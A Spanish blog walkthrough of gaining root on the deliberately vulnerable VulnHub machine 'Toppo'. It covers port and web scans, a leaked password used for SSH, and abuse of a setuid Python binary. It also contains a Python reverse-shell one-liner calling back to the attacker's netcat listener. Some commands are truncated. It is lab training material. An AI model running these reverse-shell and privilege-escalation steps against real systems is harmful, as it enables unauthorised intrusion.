Siguiendo con mis artcículos sobre hackeo de VMs vulnerables hoy conseguiremos root en una máquina llamada Toppo, el proceso no es extremadamente complejo pero tiene su miga.

Nos bajamos la imagen de VBox de VulnHub o de alfaexploit:,245/

Echamos un vistazo a los servicios ofrecidos:

RX4 ☢ /home/kr0m> nmap -sT -p 0-65535

Lanzamos Nikto a ver que nos muestra:

RX4 ☢ /home/kr0m/nikto/program> ./ -h

Accediendo mediante Firefox vemos que existe un fichero llamado notes.txt

RX4 ☢ /home/kr0m> curl

Note to myself :
I need to change my password :/ 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer .

Con un poco de suerte tenemos acceso:

RX4 ☢ /home/kr0m> ssh ted@

Nos bajamos linuxprivchecker:

chmod 700


[+] Shadow File (Privileged)

El script en python es capaz de dumpear el shadow sin permisos?

ted@Toppo:~$ cat /etc/shadow

cat: /etc/shadow: Permission denied

Seguimos investigando:

ted@Toppo:~$ ls -la /usr/bin/python

lrwxrwxrwx 1 root root 9 Mar 16 2015 /usr/bin/python -> python2.7
ted@Toppo:~$ ls -la /usr/bin/python2.7
-rwsrwxrwx 1 root root 3889608 Aug 13 2016 /usr/bin/python2.7

Ese setUID bueno, una vez mas vemos como unos permisos mal asignados pueden comprometer el sistema entero

Probamos a lanzar una shell desde el interprete de python:

ted@Toppo:~$ python -c “import pty;pty.spawn(’/bin/bash’)”

bash-4.3$ id

uid=1000(ted) gid=1000(ted) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth)
bash-4.3$ cat /etc/shadow
cat: /etc/shadow: Permission denied

Intentemos una conexión reversa:

RX4 ✺ ~> nc -l -p 1234

ted@Toppo:~$ python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);’

RX4 ✺ ~> nc -l -p 1234

# id

uid=1000(ted) gid=1000(ted) euid=0(root) groups=1000(ted),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),114(bluetooth)
